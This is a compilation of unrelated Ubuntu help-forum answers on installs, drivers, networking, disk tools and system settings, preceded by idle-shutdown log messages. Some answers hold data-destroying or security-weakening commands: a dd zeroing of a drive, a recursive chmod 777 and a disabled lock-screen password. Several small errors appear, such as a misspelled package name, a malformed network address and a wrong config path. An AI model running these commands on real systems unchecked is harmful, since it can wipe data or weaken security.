rick pts/19 192.168.0.12 Wish Time: 7:38 Seconds: 458
IdleSeconds: 420 LowestSeconds: 458
rick pts/1 192.168.0.12 Wish Time: 1:44m Seconds: 6240
rick pts/19 192.168.0.12 Wish Time: 8:38 Seconds: 518
IdleSeconds: 480 LowestSeconds: 518

Broadcast message from rick@dell (somewhere) (Sun Jun 21 20:09:43 2020):

If no activity, shutdown in: 10 minute(s).

Remote terminal output when shutting down
If remote user doesn't type anything in terminal then these messages appears 60, 30, 15, 10, 5, 3, 2, 1 and 0 minute(s) before shutdown (suspend in my case).
Broadcast message from rick@dell (somewhere) (Sun Jun 21 20:38:45 2020):

If no activity, shutdown in: 5 minute(s).

Broadcast message from rick@dell (somewhere) (Sun Jun 21 20:40:45 2020):

If no activity, shutdown in: 3 minute(s).

Broadcast message from rick@dell (somewhere) (Sun Jun 21 20:41:45 2020):

If no activity, shutdown in: 2 minute(s).

Broadcast message from rick@dell (somewhere) (Sun Jun 21 20:42:45 2020):

If no activity, shutdown in: 1 minute(s).

Broadcast message from rick@dell (somewhere) (Sun Jun 21 20:43:45 2020):

HOST SYSTEM SHUTDOWN at: Sun Jun 21 20:43:45 MDT 2020


How do I install Ubuntu without using a LiveCD/USB?

If you mean to do this in the same way that Archlinux is installed, there is the debootstrap command which may be of help.

You can create the necessary partition with cfdisk (or gparted) then format it correctly (probably ext4) and mount it.  You should then run debootstrap and chroot into the formatted partition before using aptitude to finish the installation.

I'm not exactly sure which packages ubuntu 12.04-server installs as part of the base installation, so I can't tell you exactly what you need to install with aptitude.  Also, this will not give you a nice GUI installation process.

After installation and after exiting the chrooted environment, you should run grub-install before unmounting the drive.


Sometimes the Archive Manager, when invoked within the GUI, prevents extraction of archives that can be extracted in a terminal window using "sudo tar" followed by the appropriate tar options and filename. sudo allows you to supply your password (to
authorize an operation) before it is done.


Applications run through Bash on WSL aren't sharp

As commented by @CarlosRafaelRamirez the solution to the problem is explained here (assuming you are using VcXsrv)


How to recover deleted SQLite database files?

It turns out that magicrescue creates the SQL file from found database file really.

The /usr/share/magicrescue/recipes/sqlite is a special recipe which achieves this:

# Extracts sqlite databases
# Author: Eric Pozharski <whynot@pozharski.name>
# See #730007
#
0 string SQLite format 3\x00
extension sqlite

# Result will be "CREATE TABLE"'s and "INSERT INTO"'s
allow_overlap -1
#min_output_file 1024
command dd bs=1M count=16 of="$1.with-trash" 2>/dev/null; sqlite3 -init /dev/null "$1.with-trash" .dump >"$1" ; rm -f "$1.with-trash"

So resulted *.sqlite files are really SQL files created from found database files.


Looking to dual-boot Ubuntu 13.10 with Vista (Vista installed first) on Toshiba Equium A210-1AS

I would burn a LiveCD and verify that all the devices we working properly before I installed. This will allow you to hope back into windows and google for missing drivers.


Why does my shell script hang without the .sh extension?

suspend is a bash builtin,

suspend: suspend [-f]
Suspend shell execution.

Suspend the execution of this shell until it receives a SIGCONT signal.
Unless forced, login shells cannot be suspended.

Options:
  -f    force the suspend, even if the shell is a login shell

Exit Status:
Returns success unless job control is not enabled or an error occurs.

and as builtins take precedence, just typing suspend would behave exactly as you describe: the shell blocks until you kill it (if you kill -CONT it, it resumes).

That you're seeing this same behavior by invoking it with the path is either an experimental error, or a bug in the shell. I'd suspect the former before the latter.


How do I execute multiple commands using the same argument?

With bash History Expansion, you can refer to the nth word of the current command line using !#:n e.g.

$ touch foobar && ls -l !#:1
touch foobar && ls -l foobar
-rw-rw---- 1 steeldriver steeldriver 0 Jun 20 14:54 foobar

$ touch foo bar && ls -l !#:2
touch foo bar && ls -l bar
-rw-rw-r-- 1 steeldriver steeldriver 12 Jun 20 14:58 bar


Create a bootable USB on a Mac to install Ubuntu on a PC

You will need:

A 4GB or larger USB stick/flash drive
An Apple computer or laptop running macOS
An Ubuntu ISO file. See Get Ubuntu for download links

To ensure maximum compatibility with Apple hardware, first blank and reformat the USB stick using Apple's "Disk Utility", but this step can be skipped if you intend to use the USB stick with only generic PC hardware.

Launch Disk Utility from Applications -> Utilities or Spotlight search.

Insert your USB stick and observe the new device added to Disk Utility.

Select the USB stick device (you may need to enable the option View -> Show All Devices) and select Erase from the toolbar (or right-click menu).

Set the format to MS-DOS (FAT) and the scheme to GUID Partition Map.

Check you've chosen the correct device and click Erase.

Warning: Disk Utility needs to be used with caution as selecting the wrong device or partition can result in data loss.

Install and run Etcher
To write the ISO file to the USB stick, use a free and open source application called Etcher. After downloading this and clicking to mount the package, Etcher can either be run in place or dragged into your Applications folder.
By default, recent versions of macOS block the running of applications from unidentified developers. To side-step this issue, enable App Store and identified developers in the Security & Privacy pane of System Preferences. If you are still warned against running the application, click Open Anyway in the same pane.

Etcher configuration
Etcher will configure and write to your USB device in three stages, each of which needs to be selected in turn:

Select image will open a file requester from which should navigate to and select the ISO file downloaded previously. By default, the ISO file will be in your Downloads folder.

Select drive, replaced by the name of your USB device if one is already attached, lets you select your target device. You will be warned if the storage space is too small for your selected ISO.

Flash! will activate when both the image and the drive have been selected. As with Disk Utility, Etcher needs low-level access to your storage hardware and will ask for your password after selection.

Write to device
After entering your password, Etcher will start writing the ISO file to your USB device.
The Flash stage of the process will show progress, writing speed and an estimated duration until completion. This will be followed by a validation stage that will ensure the contents of the USB device are identical to the source image.
When everything has finished, Etcher will declare the process a success.
Congratulations! You now have Ubuntu on a USB stick, bootable and ready to go.

Warning: After the write process has completed, macOS may inform you that 'The disk you inserted was not readable by this computer'. Don't select Initialize. Instead, select Eject and remove the USB device.

Boot your Mac
If you want to use your USB stick with an Apple Mac, you will need to restart or power-on the Mac with the USB stick inserted while the Option/alt ⌥ key is pressed.
This will launch Apple's 'Startup Manager' which shows bootable devices connected to the machine. Your USB stick should appear as gold/yellow and labelled 'EFI Boot'. Selecting this will lead you to the standard Ubuntu boot menu.

Source: Create a bootable USB stick on macOS


Ubuntu 18.04 - Gnome crashes with Nvidia 1050 ti driver 410 and Xorg, but not Wayland

I am not the only one with this problem!

I've tried this on Ubuntu 18.04 & 18.10.

Have you tried installing nvidia-driver-390?

I have had limited success with:

sudo apt purge nivdia-driver-* gdm3 && sudo apt install nvidia-driver-390 gdm3
sudo reboot.

When I get that to work, I can get HDMI to work, but laptop screen freezes.

I am yet to try more of my luck with Intel Drivers.


NTP probably needs to be restarted if you change networking settings (SSH does as well, for example). You can test if NTP is up and listening by using netstat on the server and ntpdate on the client

On the server:

$ sudo netstat -unlp | grep ntp
udp        0      0 192.168.122.1:123       0.0.0.0:*                 2786/ntpd
udp        0      0 127.0.0.1:123           0.0.0.0:*                 2786/ntpd
udp        0      0 0.0.0.0:123             0.0.0.0:*                 2786/ntpd
udp6       0      0 fe80::4e72:b9ff:fe4:123 :::*                      2786/ntpd
udp6       0      0 ::1:123                 :::*                      2786/ntpd
udp6       0      0 :::123                  :::*                      2786/ntpd

On the client:

sudo ntpdate <server-ip/hostname>


free displays incorrect memory on Nexus 10

There is an 1100/900 ratio between the system and video memory.

Since 900M is reserved for video at boot, the system can only see the remaining 1.1G.

Source


Overprovisioning SSD on ubuntu. How? Ubuntu 19.04 Samsung SSD 860

First, a SSD works totally differently compared with a HDD. On latter you actually assigned physical disk space (cylinders) to partitions. On SSDs partitions are purely logical, the space actually used for storage is distributed by the internal controller, which takes wear leveling into account, among others.

SSD manufacturers usually already overprovision their devices in the firmware. You may increase that by leaving some (logical) space unpartitioned, so the controller has more free capacity to work with. Or you can create an unused partition which you label accordingly to make clear what you intended.

But speaking from my (limited) knowledge, for the usual use cases (typical workstation use, not too write intensive) you could just assign all available space to partitions, and take care that the total space you use (over all partitions) doesn't exceed a certain percentage. So you make the best use of the capacity you paid for, without needing to repartition later (at least if your partition schema was sufficiently appropriate for your use), which would be a very write intensive process.


How do I stop the constant requests for a password?

There is an easily changed setting to prevent these requests for your password whenever you need to walk away from your computer for a while.

First follow this path:

Dash --> System Settings --> Personal --> Brightness & Lock

Then take the following two steps:

Set the 'Lock' setting to 'Off'
Uncheck the setting 'Require my Password when waking from suspend'

I have tested this successfully with both Trusty Tahr 14.04 LTS and Xenial Xerus 16.04 LTS. Below is a screenshot from  Xenial Xerus to illustrate the technique:

Obviously this shows the setting activated, you need to remove the tick (the check in the check box) by clicking on it.

Note: Keep in mind that this disables a security feature of Ubuntu, possibly not relevant in your case but relevant to many other Ubuntu users. This feature is designed to protect your computer from unauthorized use by others while you are away from your computer for a period of time...


Problem with sound volume with xfce on Ubuntu 14.04.1 LTS

Mine was on mute and I solved the issue doing this:

open terminal
type amixer -D pulse sset Master 5%+
keep doing it until Left and right are at 100%

Alternatively, do this:

open terminal
type amixer -D pulse sset Master toggle


Disk information Pane in Disk Utility is Black in LXDE

Well, I found out its a bug See Here

Even in the bug description it suggests a solution, changing the widget style to .... but that did not work for me.  What I have done is change the widget to Ambiance, and that fixed it, although it changed the look. Hopefully this bug will be fixed soon.


I figured it out myself. Something was not installed by default for Bluetooth. So, I went and installed Synaptic again and installed the following packages:

sudo apt-get install \
    bluetooth blueman \
    bluez-hcidump bluewho python-bluez  bluez-tools \
    brcm-patchram-plus-nexus7

One of these fixes my Bluetooth problem, and now it works just fine both ways (PC to Phone, Phone to PC). I forgot to mention that the problem occur immediately after a fresh install of Ubuntu 13.04.

It was stupid of me that I didn't test the Bluetooth before a clean install, but now it's all good.

(Previously in the question stated as a solution, this will help future users more easily.)


Mysql console client do not take non-ASCII characters

I solved same problem by updating mysql-client package.
I downloaded .deb package from mysql.com, which contains mysql repositories, and installed new mysql-client package.
This link should help: A Quick Guide to Using the MySQL APT Repository.


Executing commands when network goes up or down using dispatcher.d

It looks like /etc/network/interfaces overrides the NetworkManager. When I removed the entry from my interface from that file the scripts in dispatcher.d got called properly again.


How to get translations on Launchpad for a custom program

You can use Launchpad to help translate free software, both directly with upstream projects, (such as Limewire), and also as packages in distributions such as Ubuntu.

When you're deciding what to translate, think about the following:

Can you work on the upstream project, rather than the distribution package?
Do you know and understand the software well enough to know the context of the strings you need to translate?

Are you familiar with the translation standards you'll need to stick to?
To learn about the processes and standards that a project applies to its translations, you should get in touch with the translation team that manages its localization into your language. Most projects work with a translation group - an umbrella organization of many teams - who look after translation quality control. Each translation group assigns teams to look after particular languages.

Reference site

https://help.launchpad.net/Translations/StartingToTranslate


Can't access recovery mode, for dual booting comp, by holding shift

Try holding down the left Shift key as your laptop starts to boot. if that doesn't display the menu try  pressing the Esc key repeatedly. On a different note, I had the same issue in  the  past and ended up re-installing ubuntu by deleting it via windows and then using Universal USB Installer Universal USB Installer.. to boot up from a flash drive...


tomcat7 on Ubuntu 12.04 CATALINA_HOME and CATALINA_BASE not available on shell

So the question is: should I bother or is it a good practice to also set $CATALINA_HOME and $CATALINA_BASE in my .bashrc and what would be the benefit?

No, you shouldn't. These variables are set just in case you install Tomcat manually, using deb packages is an unnecessary step since they are already set by the init script. The reason why you don't find the variables set in your bash shell, is because they are managed internally by the user that runs tomcat. The only reason to set such variables is to tell where tomcat files are while you install tomcat manually.


Note that any use of sudo on the system will already be logged in /var/log/auth.log. That file also contains other authorization-related information (see more details here about log files).

Sudo also logs more than just the timestamp, but also the user who invoked sudo, the working directory, and more. If you want to just extract the uses of apt-get install and only log the package name, this would do it:

zcat /var/log/auth.log* | awk  '/apt-get install/ {print $1 " " $2 " " $16}'

I don't know if the formatting of the date is important to you, I didn't bother since including that in the commandline above would have made it longer and less readable. But if you want have a longer bash script which converts the format, date -I -d "Apr 27" will convert it for you.

(By the way, your user must be a member of the adm group in order to read /var/log/auth.log. If you see Permission denied then you may need to prepend the grep command with sudo, or add yourself to the group with sudo addgroup USERNAME adm where USERNAME is your user name.)


How to download playalist except certain videos in youtube-dl?

You can use the following switch:

 --playlist-items ITEM_SPEC       Playlist video items to download. Specify
                                     indices of the videos in the playlist
                                     separated by commas like: "--playlist-items
                                     1,2,5,8" if you want to download videos
                                     indexed 1, 2, 5, 8 in the playlist. You can
                                     specify range: "--playlist-items
                                     1-3,7,10-13", it will download the videos
                                     at index 1, 2, 3, 7, 10, 11, 12 and 13.

So it would be:

youtube-dl -f 22 --playlist-items 7-X https://www.youtube.com/playlist?list=PLO-hrPk0zuI18xlF_480s6UiaGD7hBqJa

where X is the number of videos in the playlist.


I have been able to fix the problem, but I did have to reinstall, last time during set up I was unable to configure a static IP as it would tell me that the IP was not contained in the subnetmask 255.255.255.0/24, which is the subnet mask used by all my other devices as far as I know. I had to instead use 192.168.0.0/24 and it finally let me set a static IP. That being said anyone who can tell me how I can change such setting from within the xfce gui would be appreciated greatly.


In my system:

[romano:~] % apt-cache policy tcsh
tcsh:
  Installed: (none)
  Candidate: 6.18.01-2
  Version table:
     6.18.01-2 0
        500 http://archive.ubuntu.com/ubuntu/ trusty/universe amd64 Packages

...so you need to have "universe" enabled. You can check this by choosing "Software and Updates" in the dash and:


How to organize a block of text in 8-character lines?

Assuming you use bash, or some other shell that has a "-n" option for "read"

process to produce text |
tr -d '\n' |
while read -n 8 chars; do echo "$chars"; done


Unable to ssh out anywhere - ssh_exchange_identification

The following line can be a very misleading message:

debug3: Could not load "/home/chris/.ssh/id_rsa" as a RSA1 public key
debug2: key_type_from_name: unknown key type '-----BEGIN'

It will send you on a wild goose chase. I say that given that you went through all the diagnostics and even regenerated the key and the problem persisted.

From experience, I can say that this problem can be caused by server configuration even though the messages make it look like it is strictly a client key problem.

To resolve this, check the server SSH config carefully. In this case, first make sure you have added the contents of id_rsa.pub to your Git account. Check any other permissions there.

When this happens on your own server check configuration carefully. For example, I found that if your user is not allowed by ssh config on the server, the ssh client gives this exact same (misleading) error message.

sudo nano /etc/sshd_config
AllowUsers yourname@*


Software Centre comes by default in Ubuntu versions prior to 16.04.

Ubuntu Software comes by default in Ubuntu versions 16.04 and later, and is much better than Software Centre. It is the latest one and is thus recommended.


Why do I get this error trying to compile libxml2?

I'm not sure why you're trying to compile libxml2 exactly. You need to install libxml2-dev to be able to build sources which depend on libxml2. You can do sudo apt-get build-dep $package to install the build-dependencies for a particular source package, as well.

I'm not sure what the error in your question is exactly. There isn't enough context to say what the exact problem is, but it looks like possibly an issue with the space in the file path.


WiFi not working on Asus Q503UA Xubuntu 14.04

As we see, your driver needs but cannot find the needed firmware. Let's try to find and install it.

Please download this file on some other computer and transfer it to the desktop of the Ubuntu computer with a USB stick of similar: https://github.com/OpenELEC/iwlwifi-firmware/archive/master.zip

Right-click it and select 'Extract Here.' Now, in the terminal:

cd ~/Desktop/iwlwifi-firmware-master/firmware
sudo cp iwlwifi-7265*  /lib/firmware
sudo modprobe -r iwlwifi
sudo modprobe iwlwifi

Your wireless should now be working.


GParted shows my 500 GB external hard drive as 1.82 TiB, and now I cant mount or acces it

In regards to fixing the partition size issue, this has happened to me when using different tools to create the ISO on a flash drive. To fix it I normally do the following (assuming the flash drive is /dev/sdd)

sudo dd if=/dev/zero of=/dev/sdd bs=2048 count=32

This is assuming that the error of having a Physical  block size of 2048 but Linux reporting 512 shows up like in your case and mine. I do this because sometimes doing fdisk (or cfdisk, gdisk, etc..) fails when trying to delete the partition or simply does not save it.

After doing this, I can safely go to gparted again and partition (After creating the partition table and then formatting with any type of format. If the partitions are not working as you mentioned, I would advice doing a chmod on it which most of the time works. Simply do the following:

sudo chmod 777 /media/USERNAME/flashDriveName -R

for example:

sudo chmod 777 /media/cyrex/E829-2912 -R

To test, just try to create a folder inside the external device or a file. Everything should be working up to this point. On specific cases you need to disconnect the device and connect it back again.

Just in case, the key icon on gparted means that the partition is mounted. You would need to unmount it before doing anything with it.


windows operating system missing in dell inspiron 3521

Try opening up the boot disk selector menu. As far as I am aware, most computers have an option to select which disk is used at boot, for example with Lenovo laptops, the onekey recovery button gives you an option for boot menu. If you see Ubuntu and your hard disk both, select the hard disk.

Depending on how your BIOS works, you may need to re-enable secure boot in order to get Windows. Just keep in mind you'll have to shut it off for Linux. This means that you will have to manually switch bios configuration every time you switch.

If you're lucky enough to have the option, try asking the BIOS to do both UEFI and Bios modes. On my Lenovo g580 you can even specify which you want checked first. Again, you may have to use the BIOS boot menu, but at the very least you can boot.

UEFI is a tricky subject for dual booting, and I still have yet to see reports of a decent one.

Good luck, you may need it.


Cannot build unity scope from qt creator

I believe this line indicates what the error is:

  g++ version must be 4.9!

And I guess the reason is because your click chroot (the place where the code is built) is not up-to-date and contains an older version of g++.

To update your chroot:

In Qt Creator, go to the Tools > Options menu option
In the Options dialog, select the Ubuntu tab
Then click on the Update button of your i386 chroot

That should open up a new dialog that will do the update and show you its progress.

After that, I'd recommend closing the project and reopening it to get cmake to re-run. Alternatively, you can right-click the project name in the project explorer (left-hand side panel) and select the Run cmake context menu option.


How do I ensure that openssl is using AES-NI acceleration?

I found the answer myself.

To test if openssl is using AES-NI I found following information. You can't see after compiling that AES-NI is available for openssl, but you can perform performance tests with and without that feature.

Speed test with default settings:

openssl speed -elapsed -evp aes-128-cbc

Speed test with explicit disabled AES-NI feature:

OPENSSL_ia32cap="~0x200000200000000" openssl speed -elapsed -evp aes-128-cbc

The result the first line will run faster (almost double on my i7 cpu). So that conclusion is that AES-NI is used by default for openssl.


What do I need to do to switch from Ubuntu to Lubuntu on a dual boot computer?

There is no need to delete the Ubuntu partition and re-install. You can install the lubuntu-desktop (click on link to install directly) package and use Lubuntu Desktop instead of Unity.

Look for the package in the Ubuntu Software Center and install it, after its done log off and on the screen where you insert your password for the user just select the new desktop environment.

You will even be able to select which login manager you want (LXDM or Lightdm) during the installation.

Trying to install Lubuntu side by side with Ubuntu and WindowsXP can lead to more confusion and its really use less since you can install the desktop on top of your current installation. Why have 2 based Ubuntu systems when 1 can do the same job using a different desktop environment?

You can even remove Unity if you are not planning on using it anymore later on. It can also stay there in case you need it, it wont slow down you computer having it installed.


install Ubuntu/Linux on internal hard drive or on external hard drive

I think your best choice is to test a linux distribution first on your computer. First find out if Windows boots from EFI or BIOS with bcdedit command to execute as administrator in windows shell (if you see a .efi you are EFI).

Then create a bootable USB key accordingly allowing you to test a live distribution without installing. When you are satisfied (test hardware compatibility), just install from the key, and the installer should ask you about installing linux and keeping Windows next to it.


Why doesn't 12.04 recognize plugged-in USB devices on startup?

I have a similar issue with a wireless mouse that sometimes fails to boot up. Unplugging and re-plugging the receiver solves it. Someone once told me the receivers 'wear out'. Certainly it never used to happen, and the mouse concerned is getting old (i.e. about a year).

But IDK why a wired USB would fail in this way. (Or are we talking about a wireless k/b & mouse here?)


Install pulseaudio in your system using:

apt-get install pulseaudio

Open pulseaudio volume control from the applications menu. Goto the Output devices tab. Identify the sound device that is currently running. Expand the Advanced option dropdown. There you will be able to enter, increase or decrease the latency directly.

If any of the steps goes wrong or buggy, consider closing everything and restarting pulseaudio with:

pulseaudio -k

Important:  Consider reading this answer before trying it out:
(K)Ubuntu 17.10 - No Audio devices found, no settings, no sound #Answer


Have terminal window & file explorer remember their last size and position

This does work for me.

If using Unity on 13.10, you can achieve this with ccsm (CompizComfig Settings Manager).
You have to have it installed (following command should've already be done)

sudo apt-get install compizconfig-settings-manager compiz-plugins-extra

Launch ccsm.

FOR SIZE:
Activate module Window Rules under Window Management category.
Click the button Window Rules, you should see a tab pane with two tabs: Matches and Sizes.
Click on Sizes tab and add any app you want to specify its size with the New button.
Indicate the desired width and height and to which windows(s) you want the width and height to be always the same.

FOR POSITION:
Do the same as above but with module Place Windows.

Then try to close then open one of the windows you specified.

I'd like to include some screenshots but I'm told that I need reputation 10 at least before I can add images to my posts.

EDIT:
Screenshot: http://i.imgur.com/Sl156Gf.png (ccsm with above modules buttons on a fresh French install of Ubuntu 13.10 - Ubuntu Saucy installed on 06-dec-2013) -- Even if texts may differ from French to English, icons on the screenshot are the same on every install of ccsm.


How to change the color of a gnome-terminal profile including the prompt?

Whoops,

Just seen the prompt color is hard-coded in ~/.bashrc.  How embarrassing.

I changed the prompt from this:

PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '

to this:

PS1='${debian_chroot:+($debian_chroot)}\[\033[1m\]\u@\h:\w\$ \[\033[0m\]'

And that did the trick.


Did you rebooted your PC after removal? Some files could still be in memory, so, reboot first before reinstall. If the problem persist, it could be that, some configuration or residual files are still be present in disk. You can manually delete the related files searching for them, and deleting manually.
To do so, try with

sudo updatedb
locate <fileName>

Where fileName is the file you want to seach. For example:

locate erlang-solutions

This will list all the files which name contains the string erlang-solutions. Then, you can delete it with

sudo rm <fileName>

But, be careful!, look at the absolute path of the file, you don't want to delete system files or sensible data.

You can also look at this thread for more information about a related issue:

Cannot Remove touchegg package


New Zero-day exploit reportedly found affecting Linux/Android (CVE-2016-0728)

It has been patched already.

Quoting the article:

  [...] "Yevgeny Pats discovered that the session keyring implementation in the Linux kernel did not properly reference count when joining an existing session keyring. A local attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges," reads today's Ubuntu Security Notice USN-2872-1 for Ubuntu 15.10. [...]

and

  [...] patches are now available for the Ubuntu 15.10 (Wily Werewolf), Ubuntu 15.04 (Vivid Vervet), and Ubuntu 14.04 LTS (Trusty Tahr) distributions. [...]

and

  [...] you are urged to upgrade the kernel packages to linux-image-4.2.0-25 (4.2.0-25.30) for Ubuntu 15.10 (Wily Werewolf), linux-image-4.2.0-1020-raspi2 4.2.0-1020.27 for Ubuntu 15.10 (Raspberry Pi 2), linux-image-3.19.0-47 (3.19.0-47.53) for Ubuntu 15.04 (Vivid Vervet), and linux-image-3.13.0-76 (3.13.0-76.120) for Ubuntu 14.04 LTS (Trusty Tahr). [...]

So users of the patched releases (15.10 / 15.04 / 14.04, and according to Canonical also 12.04) may (and should) upgrade right away by running:

sudo apt-get update && sudo apt-get dist-upgrade

and rebooting the computer afterwards.


I have fixed this people! If you installed or updated nvidia driver and it somehow broke your ubuntu and made it stuck in a login loop do the following:

You need terminal access, try tty first by Ctrl + Alt + F1 so if you don't even have that maybe use installation disc to get access, you can easily mount your system using the installation disc and use the terminal to fix your system.

Then check /var/log/nvidia-installer.log and see if you had a compiler issue during the installation. It should say ERROR and then explain how it tried to find a gcc version but was unable to locate the desired one.

Problem is, you need gcc-5.1.0 to install nvidia-driver but you need gcc < 4.9 to run Nvidia's nvcc. Which is what I was doing, I had my gcc switched to an older version when I attempted the installation. So, just switch back to gcc-5.1.0 using update-alternatives and purge and reinstall the nvidia driver. It should fix this issue!


It depends on if you want to manage upgrades with apt-get or pecl. Either way there's no real benefit to one vs the other.


Your settings in System Settings->Network->wireless need to match the settings in the wifi modem/router you are trying to connect to.

Check the "security" setting.  WPA2 is the latest and most secure but the device you are trying to connect to could be something older such as WEP.  This is set in the wifi security tab.

In the wifi tab, the mode needs to be set correctly.  For home wifi's this is usually "client".

You are probably trying to connect to an IPv4 device so in that tab you probably want to select DHCP.  Again, this all depends on how the home wifi device is configured.

A common mistake is typing the passphrase with cap lock on.  Also verify that all of the keys that control each character in your passphrase actually work every time.  In the wifi security tab you can click the "show password" button to verify that the passphase you entered is correct.

Most home wifi devices have a browser accessible administration capability.  You could connect the laptop that's working ok and monitor the logs on the home wifi while you are trying to connect your Ubuntu laptop.


How to open a PDF file in Ubuntu using terminal?

You could either try xdg-open (xdg-open - opens a file or URL in the user's preferred application):

xdg-open /path/to/file.pdf

Or you directly launch Evince, the default Ubuntu document viewer, and open the file with it:

evince /path/to/file.pdf

Note that you must always quote path names with special characters like spaces or colons - or escape each of those characters using a backslash:

xdg-open '/path/with:some/special characters/strange filename.pdf'
xdg-open "/path/with:some/special characters/strange filename.pdf"
xdg-open /path/with\:some/special\ characters/strange\ filename.pdf'

evince '/path/with:some/special characters/strange filename.pdf'
evince "/path/with:some/special characters/strange filename.pdf"
evince /path/with\:some/special\ characters/strange\ filename.pdf'

You may chose the variant you prefer.


Is this how I proceed to Migrate a Wubi install to a normal dual boot?

Nothing happens to your old Wubi when you migrate. It is purposefully left untouched. It is not a partition, but a virtual partition (a file C:\ubuntu\disks\root.disk).

The principle of the migration is that you make an exact copy* of your Ubuntu install, *except that the old one is a Wubi install and the new one is a normal dual boot.

The migration doesn't help with partitioning, but it will check and prevent you from doing something stupid. E.g. trying to use an ext3 partition as swap. Or migrating to an extended partition. Or wiping out your Windows partition. Or migrating to a partition that isn't empty.

Don't refer to that old ubuntuforums thread. Instead you'll find the latest info at https://help.ubuntu.com/community/MigrateWubi.

The steps to migrate are described there. Use the script. If you do it manually then you don't get any of the checks and you can easily do damage if you make a mistake. But of course if you would like to do it manually, there is a link there to the instructions.

Finally GRUB is the bootloader used by Ubuntu. You don't have to install it when you migrate, but you should. If you choose not to, then you can only get to the migrated install from your Wubi GRUB menu. And you'll have to install it manually later (this is easy enough). I can't go into all the details, but basically when you install GRUB you are giving Ubuntu the control of booting your computer - right now Windows has control - and if you don't install it, you need to boot via Windows, Wubi ... (and that means that your new install isn't in control and when it gets e.g. a new kernel, it won't be added to the Wubi GRUB menu). So, I'd recommend you just accept the default and install it.

If you want more help, edit your question with the output of sudo fdisk -l. Also, I always recommend a backup of important data, and a rescue disk (such as an Ubuntu DVD/USB). There are good reasons for doing this other than partitioning (e.g. hard drive failure) and it's always better to play it safe.

For partitioning, you're sitting on a large Windows primary partition of around 300GB, then an extended partition of 95 GB and another primary partition of 95GB. Ubuntu cannot install itself into free space scattered around... that is something you have to do yourself. In this case there is no real 'free' space as it's all contained inside existing partitions. What the Ubuntu installer can do is split the 300GB partition and create a new primary partition out of that space and install into that. Or split the logical partition '/dev/sda5'.

If you are migrating, or need more options, you will have to manually create free space by shrinking an existing partition, and use it to create a new primary partition; or expand the extended partition to absorb the new free space and then create more logical partitions. It's up to you to decide and how you choose to do it depends on your current usage, as well as how much space you would like for your Ubuntu install.


Edit /etc/network/interfaces file (requires root / sudo access) and provide details for the IP addresses required.

An example is:

auto eth0
iface eth0 inet static
    address 10.10.10.15
    netmask 255.255.255.0
    network 10.10.10.10.0
    broadcast 10.10.10.255
    gateway 10.10.10.1

Restart networking with /etc/init.d/networking restart

Remember also to set up DNS servers - if you use resolvconf service (check by service resolvconf status), then you may add the desired DNS server entry to /etc/resolvconf/resolv.conf.d/head file:

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver      10.10.10.1
nameserver      8.8.8.8

and restart resolvconf by issuing service resolvconf restart.


The issue was only about the slow account of VPN I had set up, which was running on every reboot. I removed the OpenVPN network plugin the speed came back up to normal.


Ok so to do that you need to :

Delete sda9 (right click Delete)
Move sda7 to the left, and resize it  (right click Resize/Move)

You should do that using a live Ubuntu (or other) because sda7 needs to be unmounted to do that.


If you don't care about GUI consistence, polkit agents from different desktop environments could replace each other.

As you mention that mate dialog is model-less (does not lock focus) you can use it.

Disable gnome agent autostart by renaming it autostart file.

sudo mv /etc/xdg/autostart/polkit-gnome-authentication-agent-1.desktop /etc/xdg/autostart/polkit-gnome-authentication-agent-1.desktop.disabled

Edit mate one to autostart with gnome session too beside mate.

~$ sudo nano /etc/xdg/autostart/polkit-mate-authentication-agent-1.desktop

...
OnlyShowIn=MATE;GNOME;
X-MATE-AutoRestart=true
X-GNOME-AutoRestart=true


Cannot adjust brightness on my  Packard Bell EasyNote TS11HR-127GE laptop

Finally this worked for me.
gksudo gedit /etc/default/grub

Change the line:
GRUB_CMDLINE_LINUX=""

to
GRUB_CMDLINE_LINUX="acpi_osi=Linux"

Then run sudo update-grub and reboot.
(source)


What does gnome-settings-daemon is not ready for configuration mean?

It means that during a previous installation, the configure script didn't end or was killed for the gnome-settings-daemon package. This can be solved simply by configuring it

sudo dpkg --configure gnome-settings-daemon

If it won't budge, you might need to reinstall it:

sudo apt-get --reinstall install gnome-settings-daemon


Can't get 32 bit Ubuntu to boot on a macbook

The 32 bit image is for bios based PCs only.  You can install 32 bit apps on a 64 bit system.


How to create Mount Point and then mount the directory in all servers?

I'm using Samba on my servers, since staff uses Windows on their machines.
Sample entry in /etc/smb.conf:

[Projects]
    comment = Projects share
    read only = true
    path = /home/kovica/Projects
    browsable = yes
    writable = no
    valid users = kovica
    create mask = 0644

This entry shares directory /home/kovica/Projects. No one can write/delete/change files in it. The client has to authenticate and the only valid user is kovica. You add users to samba using

smbpasswd -a kovica

With this command you set a password to user kovica. This is the password client has to use while authenticating.


How can I make nautilus like this always?

You can add 'nautilus' to the list for the blacklist key under com.canonical.unity-gtk-module in dconf.

# gsettings set com.canonical.unity-gtk-module blacklist "['nautilus']"

This will force the menu bar to be shown inside the window, and not integrated into the title bar or top panel.


Ubuntu and MacOS X full disk encryption easily possible?

I'm not sure about the graphics question - Might want to split this up into 2 questions.

On the encryption front, ubuntu does the encryption on a partition basis, not on the entire disk - I set up a recent laptop I got with an encrypted Ubuntu and a non-encrypted windows 7 install, and it worked fine.

I'm not sure whether the MacOS encryption is really 'full-disk' or just partition based - but I'm quite confident that if unencrypted MacOS is OK, you should be able to have encrypted Ubuntu and non-encrypted MacOS on the same disk.

However, if you are really keeping MacOS around just for the firmware updates, might want to look into booting from a USB key or DVD when you need the updates...


How to get Windows-like caching behavior for USB external drive

The settings that control how many dirty pages are allowed to accumulate before being written to disk are controlled by the virtual memory subsystem.

For systems with a lot of RAM, they usually need to be tweaked. Unfortunately, these settings are system-wide. (Ugh, Linus.)

See the current settings with:

sudo sysctl -a | grep vm.dirty

On my machine:

vm.dirty_background_bytes = 0
vm.dirty_background_ratio = 5
vm.dirty_bytes = 0
vm.dirty_expire_centisecs = 3000
vm.dirty_ratio = 10
vm.dirty_writeback_centisecs = 500

Take a look at the documentation for these settings. On my machine, vm.dirty_ratio is set to 10 (ie, 10% of RAM). This means that the disk cache will swallow up to 10% x 64GB = 6.4GB of data before writing it to disk.

I am going to try tweaking these settings by writing the following into my /etc/sysctl.conf:

